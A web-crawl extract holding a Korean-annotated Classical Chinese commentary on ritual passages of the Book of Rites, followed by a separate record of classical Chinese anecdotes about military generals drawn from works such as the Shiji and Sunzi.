以致其報本之誠乎아?\n[嚴陵方氏曰因其財物於外以致其義於內蓋先王制禮之意也下文所云皆其事矣大事若春有祠夏有礿秋則有嘗冬則有烝凡此則因其財物以致大事之義以日之出於朝也則朝日於王宮之壇以月之見於夕也則夕月於夜明之坎凡此則因其財物以致朝夕之義也因山之高而爲事高之禮因川澤之下而爲事下之禮凡此則因其財物以致高下之義也然此皆財物之大者爾若悉而論之凡天之所生茍可以爲禮者莫非財物也故終之以天時雨澤君子達亹亹焉財物固皆天之所生天之所以生之者存乎時雨之澤也]\n[亹:부지런할미,힘쓰다.亹亹:열심히 노력하는 모양.물이 흘러가는 모양][雩:기우제우][礿:봄제사약]\n6-3. 是故로 昔先王이 尙有德하시며 尊有道하시며 任有能하시며 擧賢而置之하시고 聚衆而誓之하시니라. 是故로 因天事天하시며 因地事地하시며 因名山하야 升中于天하시며 因吉土하야 以饗帝于郊하나니, 升中于天 而鳳凰이 降하며 龜龍이 假[格]하며 饗帝于郊 而風雨이 節하며 寒暑이 時하나니, 是故로 聖人이 南面而立이어시든 而天下이 大治니라.[496]\n置는 如置諸左右之置니 謂使之居其位也라. 禮莫重於祭하니 當大事之時에 必擇有道德才能者하야 執其事하고, 又從而誓戒之하니 周禮에 冢宰이 掌百官之誓戒.是也라. 因天之尊而制爲事天之禮하고, 因地之卑而制爲事地之禮니 郊社是也라. 中은 平也이며 成也니, 巡守而至方岳之下하야 必因此有名之大山하야 升進此方諸侯하야 治功平成之事를 以告於天하니, 舜典에 柴岱宗이 卽其禮也吉土는 王者所卜而建都之地也라. 兆於南郊에 歲有常禮하고, 其瑞物之臻과 休徵之應이 理或然耳나 而後世封禪之說이 遂根著於此하야 牢不可破하니, 皆鄭氏祖緯說하야 啓之也이니라.\n[馬氏曰夫禮有五經莫重於祭而聖人於祭不能自任其事則任之以人故有尙德尊道任能擧賢誓衆之事自尙有德至擧賢而置之則小大之官莫不具其職聚衆而誓之則小大之官莫不謹其職故於廟足以饗親於郊足以饗帝天者高之極者也故於高必因丘陵因高而事之所謂因天事天也地者下之極者也故爲下必因川澤因下而事之所謂因地事地也因名山以升中于天因吉土以饗帝于郊因天之事也升中于天而鳳凰降龜龍假饗帝于郊而風雨節寒暑時事天之效也]\n[嚴陵方氏曰饗亦祭也以祭之而見饗故謂之饗曰祭則以人而言其事曰饗則以神而言其禮也鳳雌曰凰以羽族故言降也龜龍鱗介之族故曰假四靈獨不言鱗者以麟土畜土分王於四時言三者則麟在其中矣四靈之物至則無獝狘之患矣五行之氣和則無愆伏之灾矣聖人夫何爲哉故南面而立而天下大治也]\n[冢무덤총,사직단총][緯:씨위,별,묶다][獝:미칠휼.놀라허둥거림][狘:놀라달아날월]\n6-4. 天道는 至敎요, 聖人이 至德이시니 廟堂之上에 罍尊이 在阼하고, 犧[莎]尊이 在西하며, 廟堂之下에 縣[玄]鼓이 在西하고, 應鼓이 在東하며, 君은 在阼하고, 夫人은 在房하며, 大明이 生於東하고, 月生於西하나니, 此이 陰陽之分[去聲]이며 夫婦之位也라. 君은 西酌犧象하시고, 夫人은 東酌罍尊하니, 禮交動乎上하며 樂交應乎下는 和之至也라.[499]\n天道.陰陽之運은 極至之敎也요, 聖人.禮樂之作은 極至之德也니 無以復加라. 故.以至로 言이라. 罍尊은 夏后氏之尊也요, 犧尊은 周尊也라. 縣鼓는 大하고, 應鼓는 小하니, 設禮樂之器하야 一以西爲上故로 犧尊.縣鼓이 皆在西而罍尊與應鼓이 皆在東也라. 天子諸侯이 皆有左右房하니 此는 夫人이 在西房也라. 君이 在東而西酌犧象하고 夫人이 在西而東酌罍尊하니 此는 禮이 交動乎堂上也요, 縣鼓.應鼓이 相應於堂下하니 是는 樂交應乎下也라. 罍尊은 畵爲山雲之形하고, 犧尊은 畵鳳羽而象骨로 飾之라. 故.亦曰犧象이니 此章은 言諸侯時祭之禮하다.\n[延平周氏曰天道無非敎凡有象者皆至敎也聖人無非德凡在於動作之間者皆至德也自罍在阼而下皆所謂至敎至德者也雷陽也牛陰也故罍尊在左而犧尊在右者陰陽之位也以縣鼓而對應鼔則應鼔非縣乃提之者也以應鼔而對縣鼔則縣鼔非應乃倡之者也倡者爲陽和者爲陰故縣鼔在右而應鼓在左者陰陽之配也君在東阼所以祖日之生於東夫人在西房所以祖月之生於西此陰陽之位也君在東階而西酌犧象所以祖日之西行夫人在西房而東酌罍尊所以祖月之東行此陰陽之配也君陽也夫人陰也君與夫人之禮交擧於上此陰陽之體見於禮者也六律陽聲也六呂陰聲也律呂之聲交應於下此陰陽之聲發於樂者也一陰一陽謂之道而道者德敎之所日出也]\n7-1. 禮也者는 反其所自生이요. 樂也者는 樂[洛]其所自成이니 是故.先王之制禮也이 以節事하며, 修樂以道志니, 故로 觀其禮樂而治亂을 可知也니라. 蘧伯玉이 曰호대 君子之人은 達이라. 故로 觀其器而知其工之巧하며 觀其發而知其人之知[去聲]하나니, 故로 曰호대 君子는 愼其所以與人者니라.[501]\n萬物은 本乎天하고, 人은 本乎祖하니, 禮主於報本反始는 不忘其所由生也라. 王者이 功成治定然後에 作樂하나니, 以文德으로 定天下者는 樂文德之成하니, 以武功으로 定天下者는 樂武功之成이니, 非泛然爲之也라. 節事는 爲人事之儀則也요, 道志는 宣其湮鬱也라. 世治則禮序而樂和하고, 世亂則禮慝而樂淫이니라. 故.觀禮樂而治亂을 可知也이니라. 遽伯玉은 衛大夫이니 名은 瑗이니, 言君子之心이 明睿洞達하야 觀器用則知工之巧拙하고 觀人之發動擧措則知其人之智愚하나니, 豈有觀禮樂而不知治亂乎리요?. 禮樂者는 與人交接之具니, 君子이 致謹於此는 以其所關者이 大也라. 故.曰은 蓋古有是言而記者이 稱之耳니라.\n[張子曰禮反其所自生樂樂其所自成禮別異不忘本而後能推本爲之節文樂統同樂吾分而已禮天生自有分別人須推原其自然故言反其所自生樂則得其所樂卽是樂也更何所待是樂其所自成]\n[嚴陵方氏曰治定制禮故於禮曰制功成作樂故於樂曰修治亂生於志而發於事禮者事之所寓也樂者志之所寓也故觀其禮樂而治亂可知孟子曰見其禮而知其政聞其樂而知其德正謂是矣君子之人達言達於道也以道觀物故知其工之巧以道觀人故知其人之知言巧則拙可知言知則愚可知蓋工有巧拙則見於器者有利病人有知愚則見於發者有當否故也凡爲彼所觀者以吾有與也故君子愼其所以與人者而況於禮樂之所示乎所謂與人由言接人也或發於言或發於行皆所以與人者也]\n[馬氏曰禮所以報本故反其所自生樂所以彰德故樂其所自成記曰樂樂其所自生而禮反其所自始別而言之則禮者反其所自生樂者樂其所自成合而言之樂亦反其所自生也禮所以約人之外故以節事事者自外作者也樂所以和人之內故以道志志者由中存者也禮雖約人之外未嘗不在內記曰禮節民心樂雖和人之內未嘗不在外記曰樂和民聲別而言之則禮在於外而樂在於內合而言之則禮樂之情同也觀其禮樂之得則知其治觀其禮樂之失則智其亂所謂治者非必已治也所謂亂者非必已亂也達其得失之幾則治亂之將形皆得以知之矣自非智足以及則不能達故蘧伯玉曰君子之人達均是器也而器有巧拙均是發也而發有智愚君子之達其明足以照之則器之巧拙發之智愚皆不能逃於視聽之內蓋達之者觀微以知著察往以知來也]\n[罍:번개뢰][阼:東階저][湮:빠질인,막힐인.湮滅][慝:사특할특,더럽다.음한기운,재앙.慝惡:숨은악][淫:음란방탕][拙:옹졸할졸,서툴다][措:둘조,놓다,섞일착(錯)][蘧:패랭이꽃거,석중화,마음에등든하다.蘧廬:旅人宿. 여관.蘧然:놀라며 기뻐하는 모양]\n7-2. 大廟之內엔 敬矣라. 君이 親牽牲이어시든 大夫이 贊幣而從[去聲]하며, 君 親制祭이어시든 夫人 薦盎하며, 君 親割牲이어시든 夫人이 薦酒니라.[504]\n君이 出廟門하야 迎牲親牽以入이나 然.必先告神而後殺이라. 故.大夫이 贊佐하야 執幣而從君이면 君乃用幣以告神也라. 殺牲畢而進血與腥則,君親割制牲肝하야 以祭神於室하니, 此時에 君이 不親獻酒라. 惟夫人이 以盎齊로 薦獻하나니, 盎齊는 見前篇하다. 及薦孰之時에 君이 又親割牲體나 然.亦不獻故로 惟夫人이 薦酒也라.\n7-3. 卿大夫는 從[去聲]君하고, 命婦는 從夫人하며, 洞洞乎其敬也며 屬屬[燭]乎其忠也며 勿勿乎其欲其饗之也니라.[505]\n洞洞은 敬之表裏無間也요, 屬屬은 誠實無僞也요, 勿勿은 勉勉不已也라. 一云.切切也라 하니라. 命婦는 卿大夫之妻也라.\n7-4. 納牲은 詔於庭하고, 血毛는 詔於室하고 羹定[丁磬反]은 詔於堂하며 三詔이 皆不同位는 蓋道求而未之得也니라.[506-1]\n詔는 告也라. 牲入在庭이면 以幣告神이라. 故.云 納牲은 詔於庭이요, 殺牲取血及毛하야 入以告神於室이라. 故.云 血毛는 詔於室이요, 羹는 肉汁也요, 定은 熟肉也니, 煮之旣熟이어든 將迎尸入室할새 乃先以俎로 盛羹及定而告神於堂하나니, 此是薦熟未食之前也라. 道는 言也라. 此三詔者이 各有其位는 蓋言求神而未得也라.\n7-5. 設祭於堂하고 爲祊[百彭反]乎外하나니, 故로 曰호대 於彼乎아? 於此乎아?니라.[506-2]\n設祭於堂者는 謂薦腥爓之時에 設饌在堂也라. 祊은 祭之明日에 繹祭也니, 廟門謂之祊이니 設祭在廟門外之西旁이라. 故.因名爲祊也라. 記者이 又引古語云, 於彼乎於此乎아?하니, 言.不知神이 於彼饗之乎아? 於此饗之乎아? 이니라.\n[嚴陵方氏曰君子固無所不用其敬然於大廟之事必夫婦親之而且求之非一方祭之非一日則其敬也尤見於此故曰大廟之內敬矣下文所言皆其事也言制祭亦割之矣以方敬而多少未定故曰制及旣熟而多少已定故曰割也祭言其用也牲言其體也或言其用或言其體互相備也夫人薦酒者謂凡酒也牲雖以天産爲陽然對酒言之則養人之陰而已君親割牲以養其陰夫人薦酒以養其陽亦陰陽相濟之義也薦盎其義亦若是而已且制祭薦盎朝事之時也割牲薦酒饋食之時也朝事以神事之故制祭以腥而薦以齊蓋腥與齊神道故也饋食以人事之故割牲以孰而薦以酒蓋孰與酒人道故也然君以盎齊饋食而夫人用之於朝踐君以酒羡(獻)尸而夫人用之於饋食者蓋殺禮於君故也牲自外至而納之故納牲詔於庭以庭在室之外故也血毛告幽全之物故詔於堂以堂比室爲明故也三詔求之固有可得之理而曰求而未之得特疑其如此而已故以蓋言之道猶言也設祭于堂言正祭之時也爲祊乎外言索祭之時也言堂以見外之爲門言外以見堂之爲內祭言其事也祊言其所也謂之祊者祝祭求神以此爲所在之方故也且神無方也祊特人爲之爾故言爲祭必有所陳焉故言設孝子不知神之所在或於彼或於此而祭之非一日求之非一處故曰於彼乎於此乎]\n[馬氏曰祭必夫婦親之所以備內外之官也官備則具備是故君親牽牲推而下之至於夫人薦酒皆夫婦身親涖之致其誠信之謂盡盡之謂敬故曰大廟之內敬矣納牲詔於庭君親牽牲大夫贊幣而從之時也血毛詔於室君親制祭夫人薦盎之時也羹定詔於堂君親割牲夫人薦酒之時也設祭于堂祭於廟之內也爲祊乎外祭於廟之外也祭於內則疑於外祭於外則疑於內則曰於彼乎於此乎]\n[盎:동이앙][腥:날고기성,비리다][肝:간간.마음,요긴함][汁:즙즙,진액][煮삶을자.끓이다.익히다,굽다.익다][祊:문안제팽,사당문제사팽][爓아궁이섭.데칠섬.불빛염][繹:당길역,연달아,실마리 종묘제다음날지내는제사][莅:자리리][涖:여울소리리]\n7-6. 一獻은 質하고, 三獻은 文하고, 五獻은 察하고, 七獻은 神이니라.[509]\n獻은 酌酒以薦也라. 祭群小祀則一獻이니라. 其禮이 質略하고, 祭社稷五祀면 三獻이니, 其神이 稍尊이라. 故.有文飾하고, 五獻은 祭四望山川之禮也니 察者는 顯盛詳著之貌라. 祭先公之廟則七獻하니 禮重心肅하야 洋洋乎其如在之神也라.\n[長樂陳氏曰禮略故質禮加故文察則其事地也察矣神則其事祖也神矣一獻孰則於人情爲近故曰質三獻爓則於人情漸遠故曰文三獻爓則五獻其血乎禮所謂血祭社稷是也]\n[嚴陵方氏曰傳曰名位不同禮亦異數禮有隆殺故數有多寡此祭祀之獻所以有一三五七之異也夫群小之祀禮則簡矣故言質社稷五祀則其禮差詳故言文四望山川地道也故言察先公人道而已故神之惡其褻故也][爓:데칠섬,아궁이]\n7-7. 大饗은 其王事與[平聲]인저. 三牲魚腊은 四海九州之美味也요, 籩豆之薦은 四時之和氣也요, 內[納]金은 示和也요, 束帛加璧은 尊德也요, 龜爲前列은 先知也요, 金次之는 見[形甸反]情也요, 丹漆․絲纊․竹箭은 與衆共財也요, 其餘는 無常貨요, 各以其國之所有는 則致遠物也요, 其出也면 肆[陔]夏而送之하나니 蓋重禮也니라.[510]\n大饗은 袷祭也라. 言王事者는 明此章所陳이 非諸侯所有之事也라. 三牲은 牛羊豕也라. 腊은 獸也니 少牢라. 禮에 云. 腊用麋라 하니라. 籩豆所薦品味이 皆四時和氣之生成이라. 內金은 納侯邦所貢之金也니 示和는 示諸侯之親附也라. 一說에 金性이 或從或革이 隨人이라. 故.言和也라. 君子이 於玉에 比德하나니, 諸侯이 來朝에 璧加於束帛之上은 尊德也라. 陳列之序에 龜獨在前은 以其知吉凶이라. 故.先之也요. 金在其次는 以人情所同欲이라. 故云,見情也라. 自三牲以下로 玉丹漆等物은 皆侯邦所供貢이니 竝以之陳列하야 或備器用하나니. 與衆共財는 言天下公共所有之物也라. 其餘無常貨는 謂九州之外에 蠻夷之國이 或各以其國所有之物로 來貢이어든 亦必陳之하야 示其能致遠方之物也호대 但不以爲常耳라. 諸侯이 爲助祭之賓하야 禮畢而出이 在無算爵之後어든 樂工이 歌陔夏之樂章하야 以送之하나니, 設施如此하니 蓋,重大之禮也라. 註에 讀肆爲陔者는 周禮에 鍾師이 掌九夏하야 尸出,入에 奏肆夏하고, 客醉而出則奏陔夏라. 故.知此이 當爲陔라.\n○ 劉氏이 曰 後篇에 言.鍾이 次之以和居로 參之라 하니 則此言內金示和는 亦取其聲之和耳라. 見情也者는 見人情之和也니라.\n[嚴陵方氏曰三牲魚腊天産也天産所以作陰德故以味爲主而曰四海九州之美味蓋味爲陰故也籩豆之薦地産也地産所以作陽德故以氣爲主而曰四時之和氣蓋氣爲陽故也且味非美則不足以養人氣非和則不足以養生故於味曰美於氣曰和也九州之外蕃國無常貨責之不備而且各以其國之所有則示能致遠物而已蓋得萬國之權心以事其先王故其言如此]\n[延平周氏曰備四海九州之美味者示其得四海九州之懽心也薦四時之和氣者示其能贊於天地也唯其明有以得人心而幽有以贊天地然後爲可以事神]\n[馬氏曰君子之於祭祀愼終如始祭之畢則飮酒無算又慮其禮之無節故奏肆夏以節之使之安宴而不亂蓋重禮也重其禮者重其大饗之禮也]\n[腊:고기포석,오래다][麋:고라니미][纊:고운솜광][陔:층계해,언덕,변방][蕃:풀무성할번,오랑캐][懽:기뻐할환,기꺼이맞을환]\n8-1. 祀帝於郊는 敬之至也요, 宗廟之祭는 仁之至也요, 喪禮는 忠之至也요, 備服器는 仁之至也요, 賓客之用幣는 義之至也니, 故로 君子이 欲觀仁義之道인댄 禮其本也니라.[513]\n祭天之禮이 簡素하니 至敬無文은 所以爲敬之至요, 仁之實은 事親이 是也이니 事亡如事存이 所以爲仁之至요, 附於身附於棺을 皆必誠必信은 所以爲忠之至요, 斂之衣服과 葬之器具를 皆全備無缺이 莫非愛親之誠心이라. 故.亦曰仁之至요, 朝聘燕享에 幣有常用이라. 故.幣帛篚筐을 將其厚意는 義之至也라. 此仁與義之爲道를 皆可於行禮之際에 觀之라. 故.曰禮其本也니라.\n[嚴陵方氏曰遠而尊者主乎敬近而親者主乎愛祀帝於郊所以爲敬祭親於廟所以爲仁仲尼燕居曰郊社所以仁鬼神則郊無非仁也要之以敬爲主爾記曰大廟之內敬矣則廟無非敬也要之以仁爲主爾]\n[馬氏曰人死斯惡之矣無能斯倍之矣故先王爲之禮使民不惡不倍而盡心於死者三日而斂凡附於身者必誠必信三月而葬凡附於棺者必誠必信故曰忠之至也中庸曰仁者人也親親爲大義者宜也尊賢爲大親親之殺尊賢之等禮所生也是禮生於仁義而曰欲觀仁義之道禮其本何也蓋因其禮行之際仁義存其中也宗廟之祭禮也仁在其中賓客之用幣亦禮也義在其中]\n[延平周氏曰喪禮欲其不欺於己故曰忠之至服器之死而致生故曰仁之至賓客用幣以將意故曰義之至禮雖出於仁義而仁義之成禮乃在於禮故曰欲觀仁義之道禮其本也]\n[篚:둥근대광주리비][筐:광주리광,平床(네모진침상)]\n8-2. 君子이 曰호대 甘受和[去聲]하며 白受采하나니 忠信之人이라야 可以學禮니라. 茍無忠信之人이면 則禮不虛道니 是以로 得其人之爲貴也니라.[515]\n甘於五味에 屬土하니, 土無專氣而四時에 皆王이라. 故.惟甘味아. 能受諸味之和요, 諸采이 皆以白으로 爲質하니 所謂繪事後素也라. 以此二者로 況忠信이라야 乃可學禮라. 道는 猶行也라. 道路는 人所共行者이니 人無忠信則每事이 虛僞니 禮不可以虛僞로 行也라. 大傳에 曰苟非其人이면 道不虛行이라 하니라.\n[嚴陵方氏曰夫薄於德者於禮虛非忠信之德以實之則禮之道亦無由而行矣易不云乎茍非其人道不虛行中庸亦曰禮儀三百威儀三千待其人然後行故此經言得其人之爲貴也]\n[馬氏曰甘者味之美質也白者色之美質也忠信者人之美質也然後可以文之也故甘則受和白則受采忠信之人可以學禮和所以文其味采所以文其色禮所以文其忠信質不能立於內則文不可行於外故曰忠信禮之本義理禮之文無本不立無文不行茍無忠信之人則禮不虛道道之爲言行也]\n8-3. 孔子이 曰하사대 誦詩三百호대 不足以一獻이면 一獻之禮이 不足以大饗이며, 大饗之禮이 不足以大旅이며, 大旅具矣오도 不足以饗帝니, 毋輕議禮니라.[517]\n不學詩면 無以言이나 然縱使誦三百篇之多하야 而盡言語之長이라도 其於議禮에 猶概乎未有所聞也이면 一獻小禮라도 亦不足以行之요, 使能一獻이라도 不能行大饗之禮니 謂袷祭也요, 能大饗矣라도 不能行大旅之禮니 謂祀五帝也요, 能具知大旅之禮矣라도 不能行饗帝之禮也니 謂祀天也라. 禮를 其可輕議乎아?\n[嚴陵方氏曰不學詩無以言誦詩雖多能言之而已未必能行禮則貴乎能行也故誦詩三百不足以一獻大饗者祭先王之九獻也以會而旅焉故謂之旅饗帝謂昊天上帝也夫禮有大小故行之有難易此愈大者所以愈難焉行其事者其難如此則言其義者可不重乎經曰禮之所尊尊其義也故曰毋輕議禮]\n[逮:及.繫囚.逮鞫:체포하여 문초함][闇:閉門암,冥,夜,日月食.闇市場:암시세 매매상이 모인곳]\n8-4. 子路이 爲季氏宰니 季氏祭할새 逮闇而祭호대 日不足이어늘 繼之以燭하니 雖有 强力之容과 肅敬之心이라도 皆倦怠矣라. 有司이 跛[彼義反]倚以臨祭하니 其爲不敬이 大矣니라.[518-1]\n逮는 及也라. 闇은 昧爽以前也라. 偏任이 爲跛요, 依物이 爲倚라.\n8-5. 他日에 祭할새 子路이 與[去聲]니 室事를 交乎戶하며 堂事를 交乎階하야, 質明而始行事하야 晏朝而退한대, 孔子이 聞之하시고 曰하사대, 誰謂由也이 而不知禮乎오?[518-2]\n室事는 謂正祭之時에 事尸於室也라. 外人이 將饌至戶이어든 內人이 於戶受之하야 設於尸前하니 內外相交承接이라. 故.云交乎戶也라. 正祭之後에 儐尸於堂이라. 故.謂之堂事니, 此時에 在下之人이 送饌至階어든 堂上人이 卽階而受取하니, 是交乎階也라. 質은 正也라. 子路이 權禮之宜하야 略煩文而全恭敬이라. 故.孔子이 善之也하시니라.\n[嚴陵方氏曰君子之行禮固不欲速又惡乎久而怠焉久而怠寧若速而敬爾蓋禮以敬爲主故也季氏之於祭徒欲其久而不能敬又豈知能之意哉昔用人祭日以朝及闇季氏之於魯其亦習周之文而不知其意者歟及子路行之乃能速而敬焉雖不必合於先王之文然亦可謂知禮之意且能救一時之弊矣此孔子所以善之也强力卽聘義所謂强有力是也肅則不怠敬則不慢强力通乎外故以容言之肅敬存乎中故以心言之跛倚蓋倦怠之所致也室事謂有事乎室若血毛詔於室之類堂事謂有事乎堂若羹定詔於堂之類執事者內外異位乃以內而交乎外上下異等乃以上而交乎下則尤易爲力矣宜乎質明而始行事晏朝而退也]","id":"","dump":"CC-MAIN-2018-30","url":"http:\/\/jkch.namoweb.net\/cham\/han\/yeky\/10-yeky.htm","date":"2018-07-23T15:53:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676596542.97\/warc\/CC-MAIN-20180723145409-20180723165409-00294.warc.gz","language":"lzh","language_score":0.3909034729,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.3909034729003906, \"kor_Hang_score\": 0.3533198833465576, \"cmn_Hani_score\": 0.19515715539455414, \"jpn_Jpan_score\": 0.04458066448569298}","num_words":2651,"character_repetition_ratio":0.007,"word_repetition_ratio":0.0,"special_characters_ratio":0.186,"stopwords_ratio":0.003,"flagged_words_ratio":0.0,"lang_id_score":0.391,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"六 韬 曰 . 将 冬 不 服 裘 . 夏 不 操 扇 . 天 雨 不 张 盖 . 出 隘 塞 . 犯 泥 涂 . 将 必 下 步 . 士 卒 皆 定 . 将 乃 就 舍 . 炊 者 皆 饱 . 将 乃 敢 食 .\n左 传 曰 . 晋 侯 之 弟 杨 干 . 乱 行 于 曲 梁 . 魏 绛 戮 其 仆 . 周 官 曰 . 凡 制 军 . 万 有 二 千 五 百 人 为 军 . 王 六 军 . 大 国 三 军 . 次 国 二 军 . 小 国 一 军 .\n史 记 曰 . 魏 文 侯 问 . 吴 起 何 如 人 . 李 克 曰 . 其 用 兵 . 司 马 穣 苴 弗 能 过 也 . 于 是 魏 文 侯 以 为 将 . 击 秦 . 拔 五 城 .\n又 曰 . 齐 景 公 召 穣 苴 . 与 语 兵 事 . 大 说 之 . 以 为 将 军 . 穣 苴 曰 . 愿 得 君 之 宠 臣 . 国 中 所 尊 . 以 临 军 . 乃 可 . 于 是 景 公 使 庄 贾 往 . 穣 苴 与 约 会 . 日 中 于 军 门 . 穣 苴 先 驰 至 军 . 立 表 下 漏 . 待 贾 . 暮 时 . 庄 贾 乃 至 . 召 军 正 问 曰 . 军 法 期 而 后 者 云 何 . 曰 . 当 斩 . 斩 庄 贾 . 以 徇 三 军 . 三 军 之 士 皆 震 .\n又 曰 . 吴 起 之 为 将 . 与 士 卒 最 下 者 同 衣 食 . 卧 不 设 席 . 行 不 骑 乘 . 亲 羸 粮 与 士 卒 分 劳 .\n又 曰 . 文 帝 六 年 . 匈 奴 大 入 边 . 乃 以 宗 正 刘 礼 为 将 军 . 军 灞 上 . 祝 兹 侯 徐 厉 . 军 棘 门 . 以 河 内 守 周 亚 夫 为 将 军 . 军 细 柳 . 帝 自 劳 军 . 至 灞 上 及 棘 门 军 . 直 驰 入 . 将 军 下 骑 送 迎 . 已 而 之 细 柳 军 . 士 吏 被 甲 . 彀 弓 持 满 . 先 驱 至 . 不 得 入 . 驱 曰 . 天 子 且 至 . 军 门 都 尉 曰 . 军 中 但 闻 将 军 令 . 不 闻 天 子 诏 . 于 是 上 使 诏 军 将 . 亚 夫 乃 传 言 开 壁 . 壁 开 . 士 吏 曰 . 军 中 不 得 驱 驰 . 于 是 天 子 乃 按 辔 徐 行 . 将 军 亚 夫 . 将 兵 揖 曰 . 介 胄 之 士 不 拜 . 请 以 军 礼 见 . 天 子 为 动 色 改 容 . 使 人 称 皇 帝 敬 劳 将 军 . 成 礼 而 去 . 既 出 军 门 . 文 帝 曰 . 此 真 将 军 矣 . 曩 者 灞 上 棘 门 军 . 儿 戏 尔 . 其 将 固 可 袭 而 虏 也 . 至 亚 夫 . 可 得 而 犯 耶 . 称 善 久 之 .\n孙 子 曰 . 凡 用 兵 之 法 . 将 受 令 于 君 . 涂 有 所 不 由 . 军 有 所 不 击 . 城 有 所 不 攻 . 地 有 所 不 争 . 君 命 有 所 不 受 . 故 将 通 于 九 变 之 利 者 . 知 用 兵 矣 .\n韩 子 曰 . 吴 起 为 魏 将 . 而 攻 中 山 . 军 人 有 病 疽 者 . 吴 起 自 吮 其 脓 . 伤 者 母 立 而 泣 . 人 曰 . 将 军 于 若 子 如 是 . 何 为 泣 乎 . 对 曰 . 吴 子 吮 其 父 之 伤 . 而 杀 之 泾 水 之 上 . 今 安 知 不 杀 是 子 乎 .\n黄 石 公 三 略 曰 . 良 将 之 军 也 . 恕 己 治 人 . 推 惠 施 恩 . 士 力 日 新 . 战 如 风 发 . 攻 如 河 决 .\n军 谶 曰 . 军 无 财 . 士 不 来 . 军 无 赏 . 士 不 往 . 故 良 饵 之 下 有 悬 鱼 . 重 赏 之 下 有 勇 夫 .\n淮 南 子 曰 . 凡 国 有 难 . 君 自 宫 召 将 . 诏 之 曰 . 社 稷 之 命 将 ○ 太 平 御 览 二 百 七 十 四 将 上 有 在 字 . 此 脱 . 军 身 . 今 国 有 难 . 愿 子 将 而 应 之 . 主 亲 操 钺 授 将 军 曰 . 此 上 至 天 者 . 将 军 制 之 . 辞 而 行 . 乃 爪 鬋 . 设 明 衣 . 凿 凶 门 而 出 . 乘 将 军 . ○ 御 览 军 下 有 车 字 . 建 鼓 旗 . 载 斧 钺 . 临 敌 攻 战 而 领 . ○ 御 览 作 不 顾 二 字 . 必 死 无 有 二 心 .\n列 女 传 曰 . 楚 子 反 攻 秦 军 . 绝 粮 . 使 人 请 于 王 . 因 问 其 母 . 母 问 使 者 曰 . 士 卒 无 恙 乎 . 使 者 曰 . 士 卒 分 菽 粒 而 食 之 . 又 问 将 军 无 恙 乎 . 对 曰 . 将 军 朝 夕 刍 豢 黍 粱 . 子 反 破 秦 军 而 归 . 母 闭 门 不 内 . 使 数 之 曰 . 子 不 闻 越 王 句 践 之 伐 吴 耶 . 客 有 献 醇 酒 一 器 者 . 王 使 人 注 上 流 . 使 士 卒 饮 下 流 . 味 不 加 喙 而 卒 战 自 五 也 . 异 日 又 有 献 一 囊 粮 者 . 王 又 使 以 赐 军 士 . 分 而 食 之 . 甘 不 逾 嗌 而 战 自 十 也 . 今 士 卒 分 菽 粒 而 食 之 . 子 独 朝 夕 刍 豢 何 也 .\n汉 书 曰 . 韩 信 亡 . 萧 何 追 还 . 汉 王 曰 . 以 为 大 将 . 何 曰 . 王 素 慢 无 礼 . 今 拜 大 将 . 如 召 小 儿 . 此 乃 信 所 以 去 也 . 王 必 欲 拜 之 . 宜 择 日 斋 戒 . 设 坛 场 . 具 礼 乃 可 . 王 许 之 . 诸 将 皆 喜 . 人 人 各 自 以 为 得 大 将 . 至 拜 . 乃 韩 信 也 . 一 军 皆 惊 .\n又 曰 . 冯 唐 对 文 帝 曰 . 天 下 之 将 . 独 有 廉 颇 李 牧 耳 . 上 曰 . 嗟 乎 . 吾 独 不 得 廉 颇 李 牧 为 将 . 唐 对 曰 . 臣 闻 上 古 王 者 遣 将 也 . 跪 而 推 毂 曰 . 闑 以 内 . 寡 人 制 之 . 闑 以 外 . 将 军 制 之 . 军 功 爵 赏 . 皆 决 于 外 .\n又 曰 . 霍 去 病 为 骠 骑 将 军 . 为 人 少 言 有 气 . 上 尝 欲 教 之 孙 吴 兵 法 . 对 曰 . 顾 方 略 何 如 尔 . 不 至 学 古 兵 法 . 上 为 治 第 . 令 视 之 . 对 曰 . 匈 奴 不 灭 . 无 以 家 为 .\n又 曰 . 西 羌 反 . 时 赵 充 国 年 七 十 余 . 上 老 之 . 使 问 谁 可 将 者 . 充 国 对 曰 . 无 逾 于 老 臣 者 矣 . 上 遣 焉 .\n东 观 汉 记 曰 . 吴 汉 当 出 师 . 朝 受 诏 . 夕 即 引 道 . 初 无 办 严 之 日 . 故 能 常 任 职 . 以 功 名 终 .\n又 曰 . 赤 眉 入 长 安 . 邓 禹 乘 胜 独 克 . 而 师 行 有 纪 . 皆 望 风 相 携 以 迎 降 者 . 以 千 数 . 众 号 百 万 .\n又 曰 . 武 威 将 军 刘 尚 . 击 武 陵 五 溪 蛮 夷 . 深 入 军 没 . 马 援 因 复 请 行 . 时 年 六 十 二 . 帝 愍 其 老 . 未 许 之 . 援 自 请 曰 . 臣 尚 能 被 甲 . 帝 令 试 之 . 援 据 鞍 顾 眄 . 以 示 可 用 . 帝 笑 曰 . 矍 铄 哉 是 翁 也 . 遂 遣 援 .\n又 曰 . 祭 遵 为 将 军 . 取 士 皆 用 儒 术 . 对 酒 设 乐 . 必 雅 歌 投 壶 . 在 军 旅 . 不 忘 俎 豆 . 事 具 巧 艺 部 投 壶 篇 .\n魏 志 曰 . 曹 仁 . 字 子 孝 . 少 时 不 脩 行 检 . 及 长 为 将 . 严 整 奉 法 . 常 置 科 于 左 右 . 案 以 从 事 .\n又 曰 . 贾 逵 . 字 梁 道 . 自 为 儿 童 戏 弄 . 常 设 部 伍 . 祖 父 习 异 之 曰 . 汝 大 必 为 将 帅 . 口 授 兵 法 数 万 言 .\n又 曰 . 庞 德 讨 关 羽 . 亲 与 羽 交 战 . 射 羽 中 额 . 时 德 常 乘 白 马 . 羽 军 谓 之 白 马 将 .\n蜀 志 曰 . 邓 艾 为 大 将 . 三 十 余 年 . 赏 罚 明 . 善 恤 卒 伍 . 身 之 衣 食 . 资 仰 于 官 . 不 为 苟 素 俭 . 然 终 不 治 私 . 妻 子 不 免 饥 寒 .\n吴 书 曰 . 鲁 肃 为 人 节 俭 . 不 务 俗 好 . 治 军 整 顿 . 禁 令 必 行 . 在 军 阵 . 手 不 释 书 . 又 善 谈 论 . 能 属 文 辞 . 有 过 人 之 明 . 周 瑜 之 后 . 肃 为 之 冠 .\n抱 朴 子 曰 . 大 将 民 之 司 命 . 社 稷 存 亡 . 于 是 乎 在 .\n【 诗 】 晋 张 华 命 将 